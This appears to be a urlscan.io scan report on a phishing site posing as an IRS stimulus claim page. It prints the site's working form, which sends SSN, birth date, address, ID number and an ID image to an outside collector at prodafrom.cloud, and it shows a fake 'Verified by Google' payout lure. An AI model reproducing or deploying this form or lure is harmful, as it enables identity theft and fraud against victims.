irsmaxstim.web.app Open in urlscan Pro
199.36.158.100  Malicious Activity! Public Scan

Form analysis
1 forms found in the DOM

POST https://prodafrom.cloud/lcfc/irpro.php

<form action="https://prodafrom.cloud/lcfc/irpro.php" method="post" enctype="multipart/form-data" class="form">
  <div class="column">
    <div class="input-box">
      <label>First Name</label> <br>
      <input name="fname" type="text" placeholder="Enter First name" required="">
    </div>
    <div class="input-box">
      <label>Last Name</label> <br>
      <input name="lname" type="text" placeholder="Enter Last name" required="">
    </div>
  </div>
  <div class="column">
    <div class="input-box">
      <label>Email Address</label>
      <input name="mail" type="email" placeholder="Enter email address" required="">
    </div>
    <div class="input-box">
      <label>Phone Number</label>
      <input name="phno" type="number" placeholder="Enter phone number" required="">
    </div>
  </div>
  <div class="column">
    <div class="input-box">
      <label>Birth Date</label>
      <input name="dob" type="date" placeholder="Enter birth date" required="">
    </div>
    <div class="input-box">
      <label>SSN</label>
      <input name="ssn" type="number" placeholder="Enter SSN number" required="">
    </div>
  </div>
  <div class="column">
    <div class="input-box">
      <label>Gender</label>
      <div class="select-box">
        <select name="gender" required="">
          <option hidden="">Select</option>
          <option>Male</option>
          <option>Female</option>
          <option>other</option>
        </select>
      </div>
    </div>
    <div class="input-box">
      <label>Occupation</label>
      <div class="select-box">
        <select name="Occupation" required="">
          <option hidden="">Select</option>
          <option>Employed</option>
          <option>Unemployed</option>
          <option>Retired</option>
        </select>
      </div>
    </div>
  </div>
  <div class="input-box">
    <label>Address</label>
    <div class="column">
      <input name="addrz" type="text" placeholder="Enter street address" required="">
      <input name="city" type="text" placeholder="Enter city name">
    </div>
    <div class="column">
      <div class="select-box">
        <select name="state" required="">
          <option value="AL">Select State</option>
          <option value="AL">Alabama</option>
          <option value="AK">Alaska</option>
          <option value="AZ">Arizona</option>
          <option value="AR">Arkansas</option>
          <option value="CA">California</option>
          <option value="CO">Colorado</option>
          <option value="CT">Connecticut</option>
          <option value="DE">Delaware</option>
          <option value="DC">District Of Columbia</option>
          <option value="FL">Florida</option>
          <option value="GA">Georgia</option>
          <option value="HI">Hawaii</option>
          <option value="ID">Idaho</option>
          <option value="IL">Illinois</option>
          <option value="IN">Indiana</option>
          <option value="IA">Iowa</option>
          <option value="KS">Kansas</option>
          <option value="KY">Kentucky</option>
          <option value="LA">Louisiana</option>
          <option value="ME">Maine</option>
          <option value="MD">Maryland</option>
          <option value="MA">Massachusetts</option>
          <option value="MI">Michigan</option>
          <option value="MN">Minnesota</option>
          <option value="MS">Mississippi</option>
          <option value="MO">Missouri</option>
          <option value="MT">Montana</option>
          <option value="NE">Nebraska</option>
          <option value="NV">Nevada</option>
          <option value="NH">New Hampshire</option>
          <option value="NJ">New Jersey</option>
          <option value="NM">New Mexico</option>
          <option value="NY">New York</option>
          <option value="NC">North Carolina</option>
          <option value="ND">North Dakota</option>
          <option value="OH">Ohio</option>
          <option value="OK">Oklahoma</option>
          <option value="OR">Oregon</option>
          <option value="PA">Pennsylvania</option>
          <option value="RI">Rhode Island</option>
          <option value="SC">South Carolina</option>
          <option value="SD">South Dakota</option>
          <option value="TN">Tennessee</option>
          <option value="TX">Texas</option>
          <option value="UT">Utah</option>
          <option value="VT">Vermont</option>
          <option value="VA">Virginia</option>
          <option value="WA">Washington</option>
          <option value="WV">West Virginia</option>
          <option value="WI">Wisconsin</option>
          <option value="WY">Wyoming</option>
        </select>
      </div>
      <input name="zip" type="text" placeholder="Enter zip code" required="">
    </div>
  </div>
  <div class="input-box">
    <label>Identity Card</label>
    <div class="column">
      <div class="input-box">
        <label>Id Number</label>
        <input name="idnum" type="number" placeholder="Enter Id card number" required="">
      </div>
      <div class="input-box">
        <label>Expiry Date</label>
        <input name="expdate" type="date" placeholder="Exp Date" required="">
      </div>
    </div>
    <div class="column">
      <div class="input-box">
        <label>Issue State</label>
        <select class="select-box" name="idsta" required="">
          <option value="AL">Select</option>
          <option value="AL">Alabama</option>
          <option value="AK">Alaska</option>
          <option value="AZ">Arizona</option>
          <option value="AR">Arkansas</option>
          <option value="CA">California</option>
          <option value="CO">Colorado</option>
          <option value="CT">Connecticut</option>
          <option value="DE">Delaware</option>
          <option value="DC">District Of Columbia</option>
          <option value="FL">Florida</option>
          <option value="GA">Georgia</option>
          <option value="HI">Hawaii</option>
          <option value="ID">Idaho</option>
          <option value="IL">Illinois</option>
          <option value="IN">Indiana</option>
          <option value="IA">Iowa</option>
          <option value="KS">Kansas</option>
          <option value="KY">Kentucky</option>
          <option value="LA">Louisiana</option>
          <option value="ME">Maine</option>
          <option value="MD">Maryland</option>
          <option value="MA">Massachusetts</option>
          <option value="MI">Michigan</option>
          <option value="MN">Minnesota</option>
          <option value="MS">Mississippi</option>
          <option value="MO">Missouri</option>
          <option value="MT">Montana</option>
          <option value="NE">Nebraska</option>
          <option value="NV">Nevada</option>
          <option value="NH">New Hampshire</option>
          <option value="NJ">New Jersey</option>
          <option value="NM">New Mexico</option>
          <option value="NY">New York</option>
          <option value="NC">North Carolina</option>
          <option value="ND">North Dakota</option>
          <option value="OH">Ohio</option>
          <option value="OK">Oklahoma</option>
          <option value="OR">Oregon</option>
          <option value="PA">Pennsylvania</option>
          <option value="RI">Rhode Island</option>
          <option value="SC">South Carolina</option>
          <option value="SD">South Dakota</option>
          <option value="TN">Tennessee</option>
          <option value="TX">Texas</option>
          <option value="UT">Utah</option>
          <option value="VT">Vermont</option>
          <option value="VA">Virginia</option>
          <option value="WA">Washington</option>
          <option value="WV">West Virginia</option>
          <option value="WI">Wisconsin</option>
          <option value="WY">Wyoming</option>
        </select>
      </div>
      <div class="input-box">
        <label>Upload Id</label>
        <input style="padding: 10px;" type="file" name="attachment" placeholder="Upload ID Front" required="" accept="image/*">
      </div>
    </div>
    <button type="submit" value="Submit Application">Submit</button>
  </div>
</form>

Text Content

Someone from Nepal
recently Claimed $38,000 1 hour ago   Verified by Google INC


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